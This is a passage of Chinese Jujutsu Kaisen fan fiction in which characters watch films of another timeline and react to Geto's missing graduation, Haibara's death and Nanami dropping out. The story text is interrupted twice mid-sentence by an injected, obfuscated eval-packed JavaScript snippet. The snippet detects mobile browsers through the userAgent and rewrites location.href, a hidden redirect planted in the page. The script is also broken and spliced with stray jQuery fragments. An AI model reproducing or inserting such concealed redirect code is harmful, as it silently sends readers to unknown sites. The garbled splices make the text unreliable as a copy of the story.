这下轮到那学生支支吾吾起来了,他们或多或少地明白这也绝不会是自己这边的白发教师会说出口的话。五条悟倒是极为坦诚地回答,“我没有这么想过。”无论选择待在哪里或者去做什么,对他而言其实并无太大所谓,留在高专也只是他的一时兴起。只是另一个自己显然并不是这么想的。 他想起了家入硝子所说的,因另一人的存在。 【偶尔,很少的时候,他曾设想过另一种可能,但夜蛾正道从未将之诉诸于口。那是他前半辈子教育生涯最后的遗憾,是他后半辈子即使当了校长也一直放不下的悔恨,时间无法倒流,他终其所有都弥补不了。 一张没有盖印的毕业证和缺了一个人的多余毕业照至今还压在他抽屉的最下面,某次夜蛾正道收拾办公室时无意间感受到手下不一样的质感,他顿了几秒才反应过来这是什么,但他没有将其拿出来翻开,而是把这些无人来领的东西、连同他未曾说出口的话一道收回去,只留下一声沉默的叹息。 他曾教导过一名年轻的学生,那人却早早地肄业。五年制的教学,在第三年戛然而止。 他们都称夜蛾正道教导有方,但他自己则知不尽然,终有一些是他未曾尽到、也没能尽到的责任。】 胖达慢吞吞地说道,“我以为夜蛾会对他很失望。”可并不是这般,那流露出来的心声更多的却是愧疚,好像明知道对方是错的却无法阻止,是无法用语言来形容的,一种了然的伤感。 不只是校长,还有隔壁的最强咒术师和女医师,仿佛他们看见的、知晓的是剥离那人闻风丧胆的称谓后,不为他人所知的内里。 “我也曾设想过另一种可能,”白发咒术师开口道,绷紧的嘴角却更像是想要闭口不言,喉咙里似有经年累积无法宣泄的东西。隐忍不发从不是【五条悟】的作风,但总有未曾愈合的伤疤一直存留着,那让他无法坦诚地提及一些事,一个人。他说,“不仅仅只有我一人。” “我所希望的,从不是我一人。” 没有蝉鸣,没有沉默,没有死亡的阴影。女医师念及那个将很多过往都埋葬起来的夏日,在那之后所有关于“后来”天真而美好的念头通通被打碎,可是终有人仍旧挂念着那些不能重新再拼凑起来的原有面貌。她低声说道,“那也是我切实所希望的。” 但没人能阻止时间与季节走向既定的轨迹,夏日之后就是作为终点结束的寒冬,现实就是这般的残酷,即便是最强也无法事事都能如他所愿。 【他过早地转身离开,连同那被留下来的人的青春也不再完整。 夜蛾正道依旧记得那个夏天,阳光一如既往的刺眼,热浪袭来时是无停歇的蝉鸣,他年轻的学生坐在高专的空地里,将墨镜摘了下来看向远方,自言自语般地说道,“为什么夏天还没结束呢?” 就快了,当时夜蛾正道是这么想的。过了今日他们就正式毕业了,而当夜蛾以老师这个身份出席这场毕业礼的时候,一向没有改正迟到这个习惯的五条悟却早早地来了。被问及此,他转过头来看向自己的师长,“我只是不想再晚到了。” 而姗姗来迟的是家入硝子,她歉意地比了个手势,询问拍毕业照的师傅可以再等等吗,她把目光投向了在场唯一能做主的夜蛾正道,那里面竟然含有一丝恳求的意味。他犹豫着问,要等多久? 难得见这位拿手术刀一向比谁都要稳的女学生有些手忙脚乱地掏出手机,她含糊不清地说,“我问问。” 她没有解释自己要去问的人是谁,而最后对方也没有给出答案,手机的另一端只是沉默。 “就这样吧。”夜蛾正道在落日即将沉下去的那缕余晖中开口。 那两个孩子老老实实地站在摄像机面前,却又闭紧了嘴巴,夜蛾正道与他们并立在一旁,也不知道这个时候该讲些什么,于是无人言语,无人欢笑。 这是最不像毕业礼的毕业礼,仿佛这不是在给他们一去不复返的青春留下纪念,而是给他们早就结束的年轻撒下最后一捧土。】 “他们都在等……夏油杰。”可是他没来,这句话虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299970|167130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杖悠仁没有说出口。钉崎野蔷薇犹豫着开口,“那时的他应该早就站在了咒术师的对立面,他没来高专也算是理所应当的吧,正常人都不会傻到做出跑到敌方大本营这种的举动来。” 她听见五条悟回答的声音,“不,纯属是他不想来。”他的语气不知为何有点烦躁,像是这影片播放出来的有些东西让最强无法理解,“按照他的实力,高专的那个结界对他基本没有什么困扰。” 他只是不想来。而这一点那三个人无疑都清楚,但他们依旧做出了等待这种毫无意义且浪费时间的事情。 【按习惯夜蛾正道至少也得道一句毕业快乐,但他没有。他曾在更早的时候设想过今日,那三人都会整整齐齐地到场,也许可能会迟到,但那时的他自己不会怎么在意,他只会说,今天过后你们这群祸害就可以有多远滚多远了,省得每天我都要见到你们头疼。 在这番设想里,女学生绝对会第一个开口,无辜地说她自己可是要留在高专里当校医,想走也走不了。然后是那个黑发的学生,他或许思索一番也会笑着说,我也有可能留在高专,当老师不失为一个好的选择,以后可能还是要麻烦夜蛾老师,不,应该要改口叫校长了。至于五条悟,他绝对会说杰去哪我就去哪。按这个发展的话,夜蛾已经料想到之后自己的校长生涯绝对会因为这三人的存在而继续感到深深的头疼。但至少,他们三个人都整整齐齐。 可以上所有的都没有发生,没有毕业快乐。夜蛾正道只是把早就准备好的毕业证和刚冲洗出来的照片递给他们,然后尽可能地不显露出其他的某些念头。他最后还是如长辈般拍了拍他们的肩膀,曾经设想过的一些话临到嘴边,却化作了一声叹息,“毕业了啊,剩下的路都得你们自己走。” 他知道,他们会各自选择自己的出路,这条路上也许会有与之并肩的同伴,也许没有,也许拥有之后又会失去,但总归那是他们自己的选择。他帮不了多少,从前是,现在也依旧。 于是夜蛾正道清楚,自己也在念着一个缺席的人。他本应该在场的。】 “他一定要去当那什么混蛋诅咒师吗?”钉崎野蔷薇的声线下是掩盖不了的微微颤抖,她撇过头去,不愿让旁人看见微红的眼眶。学生中不乏共情能力强的,他们都还年轻,谈论背叛、离开、选择多少有些残酷了。伏黑惠低低地问,“为什么不留下呢?” 那些叛逃选择成为诅咒师有自愿的,也不乏是被迫的,但他们的共性无不是早已众叛亲离,无一人挂念。但他不是的。伏黑惠沉默地望向那仅有一面镜子之隔的女医师、最强咒术师,再算上影片中的校长,即使一年、五年、十年过去了,或者更久之后,仍会有人长久地记挂着他。 是啊,为什么不留下呢。家入硝子脑海里浮现出一个转身的背影,他近乎与那空荡荡的街头融合在一起,然后就这样逐渐消失在记忆深处。但那并不真正地属于她自己的记忆,那也只是影片中一个的片段。他也会想起与友人匆匆重逢又离去的那条长街吗?当这个疑惑出现在她心中时,她仿佛再次看见了那双深紫色的眼睛,在看向另一个自己——不,某一刻,家入硝子有种错觉,他是真实地在注视着她。 他就那么安静而坦然地回望,却足以给出这个问题的答案。就像这个转身,家入硝子在这时无比清楚地意识到,她留不住他,他们都留不下这个人。 “他还欠我们一个毕业礼。”女医师抬起头来,视线落在一个虚空的点上,就像校长曾早早地设想过这件事会如何发生,唯一缺席的同期也曾早早地答应过三个人一定会整整齐齐的,笑着许诺永远在一起。放在今日来算,这是一笔无人能偿还的烂账,而她也没想过能得到补偿,毕竟那欠债的人早就不在了。 【五条悟】轻轻地回应,“是的。”他曾拥有过的、然后失去的一切,他都记得,那些记忆不曾在他脑海里模糊。只是如那场毕业礼一样,再也没有后文了。 夏天早就结束了,它葬于一个沾染着血色的冬日,所有的后来都无疾而终。 【“莫西莫西,夜蛾,你还在吗?”夜蛾正道猛然回过神,只见早已为人师的白发咒术师凑到自己的眼前挥了挥手。这时的他印象还停留在过去的回忆里,却突然间好像一晃经年,物是人非。 五条悟开了个玩笑,“上了年纪的人都这样吗?你也许该去硝子那里做个检查,不过该交的费用还是要交的,哪怕你是校长哦。”夜蛾正道难得没有多说什么,到他这个年龄不仅易分心,还容易追忆旧事。 但夜蛾正道没打算和他谈及自己刚刚所想到的一切,至少还不是这个时候。 他当时只说,“我不想和你扯这些。我想你应该多注意点,五条。”对方知道自己指的是什么,咒术总监部自五条悟当了教师之后,一直对东京高专隐隐有针对之意,愈演愈烈,甚至还在上个一年级的任务中动了些手脚,而幸亏那时最强咒术师赶来得及时。 五条悟随意地点了点头,像是不太在意这句提醒,“放心好了,夜蛾。我自有打算。”他这副漫不经心的模样绝对很难以让人放心,但夜蛾正道清楚,他这个学生向来很聪慧,倘若他真正去做一件事,不说一定做得到,也必然会做得比常人要出色很多。仅是在教学上,五条悟所采取的教导方法某种程度上无疑要比当初的自己更优秀,在学生的思想工作上也能敲打一二。尚在一年级的时候被察出什么端倪,发现后总归不算晚,夜蛾正道这么想到。 而对于他自己的一个学生来说,夜蛾正道没有及时发现,也没有及时给予帮助,等到最后一切都晚了,一切都早已无法挽回。以至于之后的他时常回想,那个评价并不对,又或者它在当初就注定着事情会往反方向发展。他没有成为那个开窗的人。等到夜蛾正道反应过来的时候,那里已经是死窗了。 此时他坐在高专的办公室里,白发教师挥了挥手离去。夜蛾正道只是抬起眼,就能看见跳动的金色碎光落在打开的窗户上,像是一轮斑驳的岁月印迹刻在了这里,而那窗外的落日即将沉下。 “只是太晚了。”仅是这样,他的教育便足够失败了。】 他并不是那么无可救药,只是——“太晚了。”而这句话的背后却还有,如果早一点、是不是一切都会不一样。他曾经的同期,他曾经的师长,他曾经拥有的一切,都还会存在,不至于落到今日声名狼藉的地步。 夜蛾正道终究是不知该从何谈起这件事,他并不是真正的亲历者,连个旁观者都算不太上,那些影片中所给出的描述或多或少都投射出了夏油杰的影子,他像一个无处不在的鬼魂一般,活在他人的记忆里,仅仅通过这些足以刻画出一个有血有肉的活人,但这还不够。 “我们仍然不知道当初发生了什么。”夜蛾正道只能这么说道,他无从评判一个人的对与错,甚至夏油杰选择的道路是否真的算得上是歧途。只是另一个他把一些责任归咎在自己头上,混杂着愧疚、遗憾,还有后悔。这让他意识到,夏油杰的叛逃必有内情,而那将会是一个很复杂、很漫长的故事,牵扯到很多人,甚至其中会有人死去。也许那并不是他们能接受得了的,但是。 “我们需要一个答案。”将一切拼凑出一个真实而完整的过去,即便那并不属于他们的世界。 而这个答案,也是女医师、最强咒术师一直以来所追寻的。 8. 何方向前 【何方向前】 【“你也要走吗?” 这是东京今年的第一场雪,也是上个年头的最后一场雪。七海建人在忙碌中抽空回了趟高专,地上还残留着庆祝新年到来的彩带和气球,却没在门口瞧见一人,明显它们是在昨夜的玩闹后被孤零零地丢弃在这,只有雪与寒风作伴。他抬脚踏过这片狼藉,周围是属于早晨的寂静。他一路走向档案室,敲了敲门,无人回应。于是七海建人只能转下门把手碰碰运气,没能推开,门从外面上了锁。 他只好打电话给夜蛾,嘟嘟了好几声对面才接通。七海建人表明了自己的来意,而夜蛾正道似乎是刚醒,略有些含糊地多说了些话,“我昨天还记得这件事来着,但是五条那家伙非要搞个什么最后的聚会,不就是新年庆祝吗。” “他闹到了很晚。” 七海建人知道的。前几天五条悟一通电话直接打了过来,试图也把自己拉上,但七海建人以企业的事回绝了他,对面的那个人听到这个回答突然安静了下来,这让他有点懊恼把拒绝的话说出口了。至少不应该以这个毫无新意的借口推辞,在他犹豫着是否需要改口的时候,对方说,好吧。然后就没有下文了。 说实话,如果他真要在这天请假,企业不会抓着人不放,暂不提七海建人还只是个实习生,他的存在可有可无。而且这个世界上迄今还没有缺了一个人地球就会停止自转的这种说法,他没有多么重要。七海建人只是不愿意来,而他不确定自己这个名义上的前辈是否知道这点。】 “我知道的,”白发咒术师停顿了下,“明明我的本意就是想给他准备一个……惊喜?”听到这话的女医师摇了摇头指出,“给他送别这个说法更准确吧。”但是他拒绝了,这也是为什么【五条悟】最后没强求的原因,人家才是真正的主角,是否到场都得按他的意愿来。 “你应该明说的。”【家入硝子】说道。 而对方眨了眨眼,反问道:“你不也没说吗?” 当时的他们都还年轻,只是还不知道该如何好好地道别。 “等等,送别?发生了什么?”虎杖悠仁摸不着头脑地问道,夜蛾正道清楚其中的缘由,但他没有开口回答这件事,他并不是当事人。 七海建人闭了下眼,简单地回答了一句,“当时发生了一些事情,所以我决定辍学。”他们从这只言片语中明白了些什么,想起这位前辈是从企业辞职重回咒术界的,那么当初他的离开也必有原因,学生怕触及他的伤心事,只是干巴巴地应了声。 “后面应该会提到的。”七海建人不愿多说什么,果然,即使在另一个世界里,这件事也没有被改变。 而从隔壁那二人的对话中知晓了所谓“聚会”的前因后果的五条悟,试图代入下他自己,不适感变得更强烈了,又是一件他没干过、想都没想过的事。那个自己如当时的年龄一般不够成熟,但也确实是试图以“人”而活着,那份算不上成功的邀请足够体现他的人情味。好吧,他想自己只能接受,五条悟无法插手改变另一个自己的想法和行为,他只是不明白,这种向来是弱者才会有的脆弱的情感真的有存在的必要吗? 【“我想起来了,”夜蛾正道突然说道,“我记得我当时怕自己忘了这件事,特意把你的档案拿了出来,放到了我的办公室里。办公室应该没上锁,等等。”他止了声。 “我有叫五条那家伙离开的时候收拾下办公室,钥匙好像被我拿给他了,我记不太清了。”他还咕哝了句什么,七海建人没听清楚,他估量着夜蛾是不是又被他们偷梁换柱灌了几杯酒。 “这个时间点五条前辈可能还在睡吧。”七海建人不确定地开口。他们都清楚五条悟的性子,暂且不提能不能在高专找到他人这回事,就只论旁人打电话过来他会不会接这件事上,难说得很,很有可能最后的结果是让对方损失一部手机。 “应该是的,他是最后一个散场的人。”夜蛾正道有点头疼地说,“你要不再等等,我等下就赶过来处理。”七海建人回绝了,“不用了,反正我等五条前辈也是等。”本来今天就是夜蛾正道难得的休假日,这也是为什么他昨天敢和五条他们闹到这么晚的原因。夜蛾清楚他不愿意多添麻烦,最后只好说有需要的话就给他打电话。 七海建人打算先去趟办公室,途径教室的长廊时,他看见了本应该还在睡的人。对方原本是百无聊赖地侧抵着墙,用手指随意地擦拭着窗口旁的积雪,察觉到了有人的到来,他转过头来,那副墨镜背后的眼睛里没有丝毫的疲倦之意、也未曾见到血丝,看不出这人是只睡了三四个小时还是压根就没睡。他自始至终看起来都是毫无弱点。 而他对这时出现在这里的七海建人并不意外,那双苍蓝色的六眼平静地直视着他,五条悟问道,“你也要走吗?” 他的语气并不疑惑、也没有任何的挽留之意,单纯得像是只为了与当事人再确定一遍这个事实。 七海建人没有开口,只是沉默地回以点头,他不愿意去想这个“也”字背后的含义。】 “灌酒?没大没小的。”夜蛾正道不禁摇了摇头,虽然这么评价,但这足以看出另一个世界的自己与他们的关系确实要好,亲密到足以戏耍他这位师长,虽然那听起来更像是玩闹。但是他自己的世界里先不谈师生关系,就连两个人的同期情谊都令他头大,一个比一个难相处。高专刚入学那会儿,家入硝子本来性子还算好,但自从认清五条悟的性格后毫不留情地一人泡在图书馆里研究医术,活得相当孤僻。而五条悟那家伙无需多提,那人仿佛生来缺少一些情感,不足以支撑他与旁人建立起羁绊,行踪也更是飘忽不定。别说玩闹了,说上几句话都算难得。 家入硝子重复了一遍,“也?”她知道那指的是谁。五条悟开口指出,“夏油杰他在第三年就叛逃了。”上一轮观影里的校长提到过这点,而那件事也发生在同一年,五条悟思索着其中是否有些关联。 学生们的关注点倒是又奇怪了起来,“好年轻啊,”虎杖悠仁感慨了句,“不管是七海前辈,还是五条老师。”钉崎野蔷薇嚷嚷着,“特别是后者,他是怎么做到十年来都没什么变化的?”他们尚且凭借着头发的金色与一向沉稳的表情,才敢断定那是年轻的七海建人的模样,而五条悟则是戴上墨镜或者眼罩就完全是两种不同的风格,倒是他那遮掩物之下的面孔仿佛没有被岁月摧残过。五条悟拉长了语调,像是毫无炫耀之意地开口,“是天生的啦——我也没办法。” “都很年轻。”家入硝子不由地想到,在普通人每天无忧无虑最多只为作业和成绩发愁的年纪,她的学弟一个因任务身死,另一个因打击过大而辍学。而她只活在影片中的薛定谔同期,也早早地踏上一条偏离正道、充斥着更多暴力与血腥的道路。至于五条悟,一个因无论哪种意义上都是最强也能过得无忧无虑,一个却在同期后辈的离去后领悟到失去的含义。 【七海建人也曾问过自己很多遍,一遍又一遍重复着同一个问题——真的要离开高专、离开咒术界吗?答案不总是相同。他曾逼着自己装作一切都没有发生过,继续照常生活出任务,但在他重新使用术式来祓除咒灵的时候,他感觉到自己的手在抖。即使七海建人知道按自己正常的水准,一个二级咒灵不足为惧,但在那丑陋的怪物身躯面前,他想到了死亡。 他曾近距离地接触过死亡。那不幸并没有降临到他的头上,但七海建人记得很清楚,当属于同伴的血液由滚烫逐渐变得冰冷,死亡的气息一步步地逼近时,他并不是在畏惧自己的死亡。在他进入东京高专、选择成为一名咒术师的时候,他就想着自己已经没有回头路了,哪怕面对不太靠谱的前辈、不太走心的任务,他也曾说过“咒术师就是狗屎”这种话。 但七海建人却从未想过自己在未来的某一天会想要选择抛弃咒术师这个称号。他在一开始,料想的就是自己有朝一日或许会死在咒灵的手中,但设想终究是设想。事实上,他并没有做好充足的心理准备。 至少七海建人从未想过死亡会来得那么快,那么猝不及防以至于让人防不胜防,但这真的很令人意外吗? 咒术师向来是个高危职业,人源少又死亡率极高,面对咒灵时刻都有不能将以性命作注的赌注收回的可能性。他也听闻过有高专的学生出任务不幸身亡的例子。只是、只是,早他一届的前辈太强了,强到足以使人忽视现实里的反差,让当初的七海建人无端生出某种错觉,天塌下来了也有那两个最强挡在前面。那是一种由足够信任而生出的安心感。】 原本学生间轻松的氛围又消失得无影无踪了,而五条悟被从天而降的信任砸得猝不及防,他少有地手无举措起来,语气稍有复杂,“七海,我没有想到你居然是这样认为的吗?” 当事人慢了半拍才从影片中回过神来,他摇了摇头,实诚地说道:“至少我没有这么想过。” 被这句话打击到的白发教师没有再开口了,他陷入了自闭中。而学生们一时间也没人跳出来说一些什么安慰的话,或许没人能违心地说他们这边的五条悟能给人带来类似于安全感这样的东西,即使他是实打实的最强,能够轻易地解决旁人眼中极为危险的特级咒灵,平时也总是一副笑嘻嘻毫无距离感的样子。但伏黑惠清楚,这位最强咒术师并不是那么地在乎他人的性命,哪怕他的同伴们谁也没有言明,但他们都或多或少能感知到。 他并不是那么的可靠。 【可很多事情并不会如人所愿,现实是那么残酷,咒术师之间切实存在着一种该死的宿命,必会有人成为与咒灵无休止斗争中的牺牲品,意识到这点后,七海建人所有不切实际的以为统统在残酷的现实中如泡沫般轻易被碾碎。他人生第一次这样如此直白地领教到了来自命运的深深恶意。 有段时间他常常想,这是否是早就注定好的,死亡是否无可避免。对于活下来的人说那并不是一种侥幸,反而是痛苦、是折磨、是自我怀疑。那黏稠的血液至今都仿佛还沾染在七海建人的手上,无人能阻止死亡,他不能,反转术式拥有者不能,最强咒术师也不能。 他无法忘却那一切,那段记忆在反复回想中愈是鲜明,灰原雄的面孔是如此的真实、如此的熟悉,但他的表情却令七海建人感到无比陌生,无比心惊,在此之前他从未在灰原的身上见过这种神情。 原本双眼里明亮轻快的光黯淡下去,厚重的灰败覆盖上他的脸庞,他向来开朗笑着的脸上是无法排解的痛苦。七海建人想,那肯定很疼。不然,他的搭档怎么会露出这副模样。当时的他甚至希望那疼痛可以转移到自己身上来。但他只能说,“灰原,你再坚持一下——很快、很快,救援就会来,五条还有夏油前辈,他们能解决好这一切……家入小姐她肯定能救你,她肯定能……”在混乱中他也不清楚自己还说了些什么,他只是想要极力证明灰原雄一定能被救下来的真实性。但下一刻,他停住了,七海建人感受到灰原的手极轻地触碰到了自己的眼角,视野里的血污是如此的触目惊心。 他似乎想要露出一个笑容,但嘴角却只是勉强地动了下,想说出口的话被喉咙里的血堵住了,但有的人一个眼神就足以代表一句未言之语。灰原黯淡的眼里不只有身体受到伤害而带来的痛苦之意,还有他无法用语言表达的歉意。他张了张口,未发出声音,但七海建人还是辨认出了那口型。 他说,对不起。 对不起,为我就这样留你一人的离去。对不起,为你以后由此而生的所有痛苦。 你看,在死亡面前,你的搭档也是如此了解你。 这些话适用于咒术界所有失去后再无搭档的咒术师。】 “我很抱歉。”女医师开口说道。 她见证过很多死亡。有的生命就在她的手下流逝,反转术式也无能为力,【家入硝子】应该比谁都要看得开,手术刀拿得起放得下,倘若她因没有挽回一人的性命就耿耿于怀,那么午夜梦回时必然有无数个鬼魂与她纠缠不休。这么一想,某个人睡眠始终很糟糕是有原因的。但女医师则不尽然,大多时候她因休息时间匮乏而能够直接秒睡,梦里没有鲜血,没有尸体。 一开始,年轻的【家入硝子】也曾为第一条无法挽回的死亡感到深深的无力,她把自己关在女寝里不出来,也不让旁人进来,消息不回,电话不接,整个就是失联状态,然后夏油杰叫上五条悟直接破门而入,把她拖了出来。他把不知道从哪弄来的一整箱啤酒扔在她面前,他说我们不醉不归,他说我在这呢,我们都在,他说你要哭就哭吧,我不会嫌弃你丑的。这句话落下后她再也忍不住了,她边哭边骂,骂夏油杰五条悟,骂咒灵咒术师,骂这个世界,泪水与酒精混杂着一并吞入喉中,她只觉得又咸又苦。【家入硝子】耗尽所有的力气去宣泄,到最后,夏油杰递给她一张纸巾,他说,那不是你的错。他说,你救不了所有人。倘若你只因一个人的死亡就困在原地,那么接下来会有更多的人死去。他说,你已经尽力了。最后这个人用无比坚定的语气说,你可以救很多人的,硝子。 现在女医师再想起这些话来,她仿佛再一次尝到了十多年前的那口又咸又苦的酒味,我救不了灰原,我也救不了你。如果时间能回到十年前,我会在那个夏天把你曾经对我说过的话统统还给你,把你狠狠地骂醒。 他是那样的矛盾,对自己就苛求到往死胡同里逼。 “那不是你的错。”白发咒术师说得坚定。熟悉的话语让【家入硝子】恍惚了一瞬,这在十年前是那个心高气傲、自尊自大的最强绝对说不出来的话。但若是现在的他,他的那帮学生虽然天天嫌弃他不正经,但关键时候他们都会毫不犹豫地将信任交付给这位老师,这足以说明他的可靠。于是这句话由他说出口,倒有几分劝慰的意思在里面。 【家入硝子】没有把这话接下去,女医师无须向谁的死负责,没能救回不是她的错,但这只是出于医生的这个身份。而作为前辈、友人,她无疑是失职的,没有尽到她应有的责任,无论如何【家入硝子】都欠一句抱歉。但是她也清楚,这句话无法传达给他们中的任何一个人了。 他们没有一个人说话,在当事人面前揭开伤疤实在是太残忍了,七海建人只作沉默,他没有谈及任何人、任何事,不愿意袒露他的任何想法,而影片中自己的心声却挑明了一切,即便有所出入,但死亡永远都是最真实的。 学生们大多都对死亡很陌生,哪怕是虎杖悠仁死了又活了,一年级生和二年级生尚且都整整齐齐。而那早一辈的却是付出了血的牺牲,将咒术界最残酷的一面赤裸地摆在他们的面前,他们由此知晓如今他们所坚持的道路沾染着无数前辈的鲜血。 而当下他们当真会畏惧吗?他们虽然才踏上这条路不久,但能托付生死的同伴就在旁边,都拥有着一颗跳动着的赤子之心,他们依旧满怀希望,尽力去做自己能做的。这么一想,好像所有的事情都还没有到很坏的地步。 注意到学生那边情绪的变化,五条悟的视线在那些年轻却不失坚毅的面孔上停留了一瞬,倒是成长了一点,他懒懒地想着,只是实力不够强的话什么都只是白费功夫。他将目光收回之时无意间和家入硝子对上了眼,后者和自己显然都无意在这时开口,她先转过头去,没有再看他。 五条悟倒是从中察觉出了对方对自己的态度有点不太一样了,他好像更不受自己这位女同期待见了,而这和影片播放的内容脱不开关系,看起来家入硝子反倒更在意他的那个同位体。不过她要是真把她自己代入到隔壁的那个世界,到时候无论哪种结果都会很难看,最强咒术师漫不经心地想着。 【对于他的答案,五条悟不是很意外,他坦然地接受了最后这个后辈也要离开的事实,既没有追问为什么,也没有挽留。这让七海建人有种错觉,他好像已经对一切的失去都可以无动于衷了,又或者是说,他早已感受过前十八岁人生中最为痛苦的失去,那种融于自身血肉中最紧密的一部分被人硬生生割去的疼痛。以至于之后所有的痛楚都不能比那再难以忍受了。 “五条前辈,”当话音落下后的一秒,七海建人意识到那是他在说话,心里中仿佛有种想要求证什么的冲动迫使他自己开口。只是才唤出一个称谓,反应过来的七海建人就知晓他想问的那个问题并不适宜继续问下去,人物不对,地点也不对,时候也不对。 ——你也会逃避吗,这句话七海建人终究是没有问出口。 不同于他是妄图逃避已经降临过的死亡,最强咒术师会想要逃避另一个人将至未至的死亡吗?他的同期,他的挚友,他的唯一。 七海建人听说了在前特级咒术师的死刑令下达后,是五条悟第一时间跳出来接下了这个任务,那些即使怀疑他有私心在内的高层也无法插足其中,而另一些看热闹的人却在旁边看笑话般,那在当时成为了咒术界一大饭后谈资,他们大谈特谈最强二人组的解体,说一个人背叛说一个人活该。 直到现在已经过去了半年,都跨入了下一个新的年头,行刑者依旧丝毫没有动作,被问及此只敷衍地给一句没有碰到对方就再等等吧我忙得很。但明眼人都瞧得出恐怕五条悟这话也只是嘴上说说罢了,按现在他的实力来算,毋庸置疑的是,最强这个名头只属于他一个人了。瞬移这种术式可以使他自己轻松而简单地出现在日本任何一个地方。不是碰不到,而只是其中有一人不愿意碰见。】 “等等,挚友?他是指五条悟和——”钉崎野蔷薇停了下来,没有将那个名字说出来,她的神情像是听到有人说太阳从西边升起那般,是纯然的不信和荒谬。在场所有人都没有料想到,不仅仅是和女医师那般一样的友人,他们还是彼此间灵魂最为贴近的挚友。 同期之间相处久了或多或少都有点感情,然后就可以理所当然地晋升为普通朋友,但挚友不一样,这个称谓太珍贵了,太稀少了,几乎就是唯一。更何况拥有它的人是最强咒术师。友人和挚友的界定从来都不一样,后者足以让人拥有后无法再忘却,倘若世上还有比你自己还要了解你的人,那么就是你的挚友。 “我倒是认为真实性有待考证。”五条悟把这话说得轻飘飘的,但家入硝子没有错过他脸上一闪而过的讶异。“承认一个人对你很重要,就那么难吗?”她就坐在五条悟的旁边,稍稍抬头就可以望进这人的眼底,平常用来遮挡的眼罩早就被拉下来了,他依旧还是那副什么都入不了他眼的样子。 五条悟极为坦然地说,“不是我,”就算从师长、后辈以及他自己口中透露出夏油杰与自己关系匪浅又怎么样?就算那些倾露出的情感如此真实而让其他人引起共鸣又怎样?对于他本人而言,这些只是无聊的消遣罢了,观影这个存在也是一样的。“他不是我,我希望你能记住这点。”他说道。 周围的人都没有试图插入他们的对话中去,这两人的关系不知怎么着,自从进了这里就肉眼可见的紧张起来,好像他们之前有一笔烂账,但直至现在才开始清算。 影片迄今未曾放出五条悟的同位体与那人相处的片段,家入硝子想那就是他们之间存在分歧的最大原因,哪怕只是几秒,是停留下来的匆匆几句话,只要一个眼神,有关这个人你所知道的一切,就通通都化为了不能排除在外的存在,始终如一。 家入硝子始终记得,他望过来的眼神安静而温柔,不混有任何杂念地注视着另一个自己,就好像也是在注视她一样,剥离了那些所有披露在外的称谓,不是反转术式的拥有者,不是东京高专的校医,而是作为家入硝子本身。 仅是一个眼神,就告诉了你他有多了解你,他就像是一个认识了你很多年的熟人,只要回头他就一直在原地。他是如此深切地回望。 于是她轻轻地说,“倘若你和他对上眼,只需要一个眼神,你就能知道我在问的是谁了。”家入硝子问的从来不是另一个【五条悟】。 白发咒术师对灰原雄的印象还停留在记忆里那个笑着称呼学长的后辈,他未曾见证过他死后所保留下来的样子。在【五条悟】解决完当时他自己的那个任务前,死去的人就已经被火化了。他只赶上了灰原的葬礼。见到那对突然一夜之间仿佛老了十几岁的父母,他们的眼角是再也流不出一滴泪的红肿,甚至只有靠着彼此搀扶才有站在这里的力气。身边跟着同样极度悲痛的少女,那是灰原的亲妹妹。他们都是灰原雄尚且还在人世的至亲,唯独他自己不在。 当时的他近乎无措地站在这里,周围的人都在为那名后辈早早地死去而感到深深的悲伤,但【五条悟】并没有那样。恍然意识到自己在其中的格格不入,他下意识地转过头来望向旁边的黑发挚友,那双眼里是痛苦,是疲倦,是哀伤。这是他第二次见到这样的夏油杰,『杰你没事吧?』当初的他如此问道,而后者的回答仍然是没事。 可根本就不是这样,一如之前的很多次,之后的很多次。灰原雄的死讯是夏油杰告知他的,他一个电话打过来给还在哪个不知名的小村庄里出任务的【五条悟】,那个任务并不是很难,但找到目标却需要耗费一些时间。他在电话那头跟他说,悟,灰原死了。他的语气听起来异常的平静,最强在他的话语落下后的零点一秒意识到了那句话是在说什么,灰原怎么了,又是谁死了。需要我现在赶回来吗?他只会这么问道,六眼神子根本不知道这个时候该说什么,该做什么,而他的任务还没有完成。 电话那边沉默了下来,他也跟着沉默,夏油杰最后还是开口说不用,完成任务后你再回来吧。【五条悟】当时问,你还好吗杰。他却只是回答,没事。于是当时的最强相信了,之后的那次葬礼上他也信了。他是如此的轻信这个人,又或者只是当时的自己看见得太少,没有看见那片深紫色之下的痛苦、疲惫、脆弱,将他的脊梁沉沉地折弯,而夏油杰本人也只是咬着牙闭口不言。 那个时候的六眼太过自以为是,他以为一切又都会恢复到本来的样子,总想着无论如何另一个人都能赶上自己的脚步,他们仍能并肩,过去的就让它过去,生活还会继续向前,没有人能够停下。但直到后来,不久后的某一天,电话那端变成了打不通的无人接听,他就这样离开了。 名为夏油杰的人类让六眼神子跌落得猝不及防防不胜防,顺便轻易地将最强原本无坚不摧的心口上开了个大洞,以至于他之后总是对那人束手无策,输了一次就会怕第二次,他不愿意去想他们下一次见面,最后一次见面,他输不起。 逃避的话,是个人都会如此。可是往后的所有日子里他那挚友仿佛无处不在,即使在这时,他也依旧如一个鬼魂般,始终无法逃避。 【五条悟、夏油杰以及家入硝子,这三人关系好打从七海建人入校没几天就领教到了,尤其是五条悟和夏油杰,甚至是时常让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299971|167130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯一的女同期对他俩都忍受不了的程度。 